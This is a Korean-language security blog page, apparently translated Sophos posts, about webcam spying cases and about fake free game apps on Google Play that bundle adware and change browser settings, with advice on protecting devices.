2011년에는 서부 캘리포니아의 한 남자가 100개 이상의 컴퓨터를 해킹하여, 거기서 훔친 개인정보를 이용하여 젊은 여성과 10대 소녀들의 성적으로 노골적인 동영상을 갈취한 혐의로 6년 징역형을 받았습니다.

하지만, 제가 들은 가장 놀라운 사건은 아마도 잠재적인 희생자의 노트북 화면에 에러 메시지를 나타냈다고 하는 남자의 케이스인데, 그는 희생자들을 속여 그들의 웹캠을 해킹하여 샤워기로 대체하여 보여주었습니다.

많은 홈 사용자들이 침실에서 무방비로 PC를 유지하고 있기 때문에, 특히 젊은이들 사이에서는 남용에 대한 상당한 잠재력이 분명히 존재합니다.

말씀 드리려고 하는 메시지는 간단합니다. 최신 위협들에 대해 여러분의 PC를 안티 맬웨어 소프트웨어, 보안 패치와 방화벽 등으로 지속적으로 보호하시고, 만약 의심이 든다면, 여러분이 사용하지 않을 때는 웹캠을 꺼두시기 바랍니다.

PS) 희소식은 가끔 웹캠 스파이활동이 해커들에게 역효과를 나을 수 있다는 것입니다.

2012년에, 조지아(Georgian) 정부는 그들 컴퓨터에 대한 인터넷 공격이 러시아 보안 기관과 관련되어 있다고 주장하였습니다.

하지만, 조지아 정부의 CERT (Computer Emergency Response Team)는 공격에 가담했다고 확신하는 해커의 컴퓨터를 비밀리에 해킹하고 그의 비디오 자료를 빼냄으로써 그 해커에 대해 보복하였습니다.

아마도 웹캠에 녹색불이 들어와 있을 때는 더 많은 주의를 기울인다는 것은 좋은 생각일겁니다.

댓글을 달아 주세요

posted by Kwan's 2013. 1. 28. 20:06


Google이 공식 안드로이드 앱 스토어에 있는 앱들을 감시하는 일을 충분히 잘하고 있을까요?

사기꾼들이 돈을 벌기 위해 합법적인 게임의 명성과 평판을 악용하며, Google Play에서 공개적으로 계속 다운로드 가능하게 하는 가짜 앱의 수로 판단하자면, 그것은 아닌 것 같습니다.

예를 들어, “abbaradon”이라 불리는 안드로이드 앱 개발자에 의해 만들어진 앱을 한번 살펴보시죠.(하지만, 설치하지는 마시길 바랍니다.):

'Plants vs Zombies'와 'PES 2012' (Pro Evolution Soccer)를 포함해 꽤 알려진 게임들 리스트가 거기에 있습니다.

'Plants vs Zombies'의 실제 안드로이드 버전은 Electronic Arts에서 개발하였는데, 유료 버전이며 수천 개의 리뷰가 있습니다.

하지만, Abbaradon 버전은 무료이며 Google Play 스토어에 있는 Description 밑에 눈에 띄지 않게 작은 글씨로 된 부분이 있습니다.

Plants vs. Zombies 무료! 좋은 평가만 남겨주세요. 질문이 있으시면 메일을 보내주세요. 이것은 게임 팬들에게는 특히나 놀라운 퍼즐입니다.

뛰어난 앱, 그것도 무료인 앱을 계속해서 제작하기 위해서는 앱을 만드는 데 시간과 비용이 들기 때문에, 우리는 우리의 앱을 현금화하기 위한 새로운 검색 서비스를 이용하고 있습니다. 이 서비스로 인해 우리는 여러분을 위한 더 훌륭한 앱을 개발할 수가 있습니다. 이 옵션은 여러분이 사용할 수 있도록 몇 가지 검색 포인트(아이콘, 북마크, 홈페이지)를 번들로 제공합니다. 여러분은 이것들을 손쉽게 제거할 수 있으며 우리 앱에는 어떤 영향도 끼치지 않습니다. 감사합니다!

그 앱 자체는 절대 Plants vs Zombies가 아닙니다. 그것은 단순한 그림 맞추기 퍼즐 타입의 앱인데 게임에 나오는 이미지를 사용하고 있습니다.

그리고, 그것은 Abbaradon도 아닙니다. 소포스랩은 지난 몇 주간, 순진한 사용자의 돈을 빼가려고 하는 수많은 유사 가짜 앱들을 봐 왔습니다. Google은 악한 개발자들을 근절시키려고 애쓰고 있지만, 그들은 자신들의 가짜 앱들을 단순히 새 이름으로 바꿔서 다시 업로드 시킵니다.

그래서, 만약 여러분이 이러한 앱들 중 하나를 실행시킨다면 무슨 일이 일어날까요?

아래 스크린샷에서 여러분은 우리가 PES 2012의 가짜 버전을 실행시켰을 때 어떤 일이 일어났는지 볼 수 있습니다.

그 프로그램은 광고지원형(ad-supported)이어서, 앱과 여러분의 안드로이드 기기의 알림창에 광고를 표시할지도 모릅니다.

더군다나, 그들은 여러분의 이메일과 전화번호 등 여러분에 대한 정보를 수집할 것이라고 얘기합니다. 만약 여러분이 광고 중 하나를 클릭한다면 써드파티 페이지로 연결됩니다.

그런데, 여러분이 하고 싶었던 것은 무료 축구 게임을 갖는 거였습니다.

하지만, 거기서 멈추지 않고 그 앱은 여러분의 브라우저 홈을 바꾸고, 북마크에 추가하고, 여러분 기기의 홈 화면에 아이콘을 추가할 것입니다. 이 모든 것은 앱 개발자가 돈을 벌도록 설계되었습니다.

아니나 다를까, 우리가 다운로드한 게임 아이콘 외에도 몇 개의 검색 아이콘들이 안드로이드 홈 화면에 추가되었습니다.

그 아이콘을 클릭하면, Moberium과 같은 검색엔진으로 이동합니다.

그 앱들은 Apperhand와 Clicxap, Airpush, Startapp과 같은 다양한 광고 프레임워크들을 사용하고 있는데, 유명한 게임의 프리버전인척 하면서 아마도 Google Play 스토어에 있는 앱들 주위에서 회자되는 개발자가 돈을 벌고 있습니다.

Google은 이런 식으로 사용자들을 속이는 앱 개발자들을 좋아하지 않습니다. 그래서 악의적인 개발자들은 다른 인증, 다른 이름을 사용하고 있는데, 그래서 그들의 패키지들이 매우 혼란스럽게 되어있어서 확실히 비슷해 보이지 않습니다.

비록 분석가들이 앱들이 비슷한 일을 하고 있다는 것을 알아내는 것은 쉬울지 몰라도, Google의 자동화 시스템은 그들의 안드로이드 앱 스토어에서 이런 가짜 수익 창출 앱을 발견하는 것은 훨씬 힘들어 보입니다.

소포스는 그 가짜 앱들을 Andr/NewyearL-B로 감지합니다.

안드로이드 맬웨어는 증가하고 있는 문제이며, 심지어 공식 Google Play 스토어에서도 그들의 방식으로 돈을 벌고 있는 악성 앱이 발견되었습니다. 예를 들어, 작년에 우리는 한 네이키드 시큐리티 독자가 Legend of Zelda 게임의 공식 안드로이드 버전이었다고 생각했던 것을 다운로드 했는데, 결국은 팝업 공지와 광고로 공격 당했다는 것에 대해 얘기를 했습니다.

만약 여러분이 증가하는 수많은 위협들에 대해 안드로이드 스마트폰이나 태블릿을 보호해야 할 때라고 생각하신다면, 소포스의 무료 안드로이드 안티바이러스 앱을 검토해 보시기 바랍니다.

댓글을 달아 주세요